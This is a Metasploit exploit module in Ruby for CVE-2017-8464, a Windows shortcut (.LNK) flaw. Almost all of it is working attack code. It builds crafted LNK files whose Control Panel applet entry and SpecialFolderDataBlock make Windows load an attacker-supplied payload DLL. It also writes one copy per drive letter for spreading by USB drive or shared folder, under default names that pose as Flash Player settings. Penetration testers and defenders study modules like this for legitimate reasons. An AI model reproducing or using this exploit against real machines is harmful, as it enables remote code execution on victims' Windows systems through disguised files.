##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  attr_accessor :exploit_dll_name

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'            => 'LNK Code Execution Vulnerability',
        'Description'     => %q{
          This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
          that contain a dynamic icon, loaded from a malicious DLL.

          This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
          similar except an additional SpecialFolderDataBlock is included. The folder ID set
          in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
          the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
          DLL file.

          If no PATH is specified, the module will use drive letters D through Z so the files
          may be placed in the root path of a drive such as a shared VM folder or USB drive.
        },
        'Author'          =>
          [
            'Uncredited',      # vulnerability discovery
            'Yorick Koster',   # msf module
            'Spencer McIntyre' # msf module
          ],
        'License'         => MSF_LICENSE,
        'References'      =>
          [
            ['CVE', '2017-8464'],
            ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
            ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup
            ['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format
            ['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],
            ['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']
          ],
        'DefaultOptions'  =>
          {
            'EXITFUNC'              => 'process',
            'DisablePayloadHandler' => true
          },
        'Arch'            => [ARCH_X86, ARCH_X64],
        'Payload'         =>
          {
            'Space'       => 2048
          },
        'Platform'        => 'win',
        'Targets'         =>
          [
            [ 'Automatic',   { 'Arch' => ARCH_ANY } ],
            [ 'Windows x64', { 'Arch' => ARCH_X64 } ],
            [ 'Windows x86', { 'Arch' => ARCH_X86 } ]
          ],
        'DefaultTarget'   => 0, # Default target is Automatic
        'DisclosureDate'  => '2017-06-13',
        'Notes'           =>
          {
            'Stability'   => [ CRASH_SERVICE_RESTARTS, ],
          },
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [false, 'The LNK file', 'Flash Player.lnk']),
        OptString.new('DLLNAME', [false, 'The DLL file containing the payload', 'FlashPlayerCPLApp.cpl']),
        OptString.new('PATH', [false, 'An explicit path to where the files will be hosted'])
      ]
    )

    register_advanced_options(
      [
        OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
        OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
      ]
    )
  end

  def exploit
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
    arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
    datastore['EXE::Path'] = path
    datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")

    dll = generate_payload_dll
    dll_name = datastore['DLLNAME'] || "#{rand_text_alpha(16)}.dll"
    dll_path = store_file(dll, dll_name)
    print_status("#{dll_path} created, copy it to the root folder of the target USB drive")

    if datastore['PATH']
      lnk = generate_link("#{datastore['PATH'].chomp("\\")}\\#{dll_name}")
      lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
      lnk_path = store_file(lnk, lnk_filename)
      print_status("#{lnk_path} created, copy to the target paths")

    else
      # HACK: Create LNK files to different drives instead
      # Copying all the LNK files will likely trigger this vulnerability
      ('D'..'Z').each do |i|
        fname, ext = (datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk").split('.')
        ext = 'lnk' if ext.nil?
        lnk_filename = "#{fname}_#{i}.#{ext}"
        lnk = generate_link("#{i}:\\#{dll_name}")
        lnk_path = store_file(lnk, lnk_filename)
        print_status("#{lnk_path} created, copy to the target USB drive")
      end
    end
  end

  def generate_link(path)
    vprint_status("Generating LNK file to load: #{path}")
    path << "\x00"
    display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
    comment = datastore['LnkComment'].dup << "\x00"

    # Control Panel Applet ItemID with our DLL
    cpl_applet = [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00
    ].pack('C*')
    cpl_applet << [path.length].pack('v')
    cpl_applet << [display_name.length].pack('v')
    cpl_applet << path.unpack('C*').pack('v*')
    cpl_applet << display_name.unpack('C*').pack('v*')
    cpl_applet << comment.unpack('C*').pack('v*')

    # LinkHeader
    ret = [
      0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
      0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
      0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
      0x00, 0x00, 0x00, 0x00, # FileAttributes
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
      0x00, 0x00, 0x00, 0x00, # FileSize
      0x00, 0x00, 0x00, 0x00, # IconIndex
      0x00, 0x00, 0x00, 0x00, # ShowCommand
      0x00, 0x00, # HotKey
      0x00, 0x00, # Reserved1
      0x00, 0x00, 0x00, 0x00, # Reserved2
      0x00, 0x00, 0x00, 0x00  # Reserved3
    ].pack('C*')

    # IDList
    idlist_data = ''
    # ItemID = ItemIDSize (2 bytes) + Data (variable)
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      # All Control Panel Items
      0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    # ItemID = ItemIDSize (2 bytes) + Data (variable)
    idlist_data << [cpl_applet.length + 2].pack('v')
    idlist_data << cpl_applet
    idlist_data << [0x00].pack('v') # TerminalID

    # LinkTargetIDList
    ret << [idlist_data.length].pack('v') # IDListSize
    ret << idlist_data

    # ExtraData
    # SpecialFolderDataBlock
    ret << [
      0x10, 0x00, 0x00, 0x00, # BlockSize
      0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
      0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
      0x14, 0x00, 0x00, 0x00  # Offset in LinkTargetIDList
    ].pack('C*')
    # TerminalBlock
    ret << [0x00, 0x00, 0x00, 0x00].pack('V')
    ret
  end

  # Store the file in the MSF local directory (eg, /root/.msf4/local/)
  def store_file(data, filename)
    @ltype = "exploit.fileformat.#{@shortname}"

    if !::File.directory?(Msf::Config.local_directory)
      FileUtils.mkdir_p(Msf::Config.local_directory)
    end

    if filename && !filename.empty?
      fname, ext = filename.split('.')
    else
      fname = "local_#{Time.now.utc.to_i}"
    end

    fname = ::File.split(fname).last

    fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
    fname << ".#{ext}"

    path = File.join("#{Msf::Config.local_directory}/", fname)
    full_path = ::File.expand_path(path)
    File.open(full_path, "wb") { |fd| fd.write(data) }

    full_path.dup
  end
end
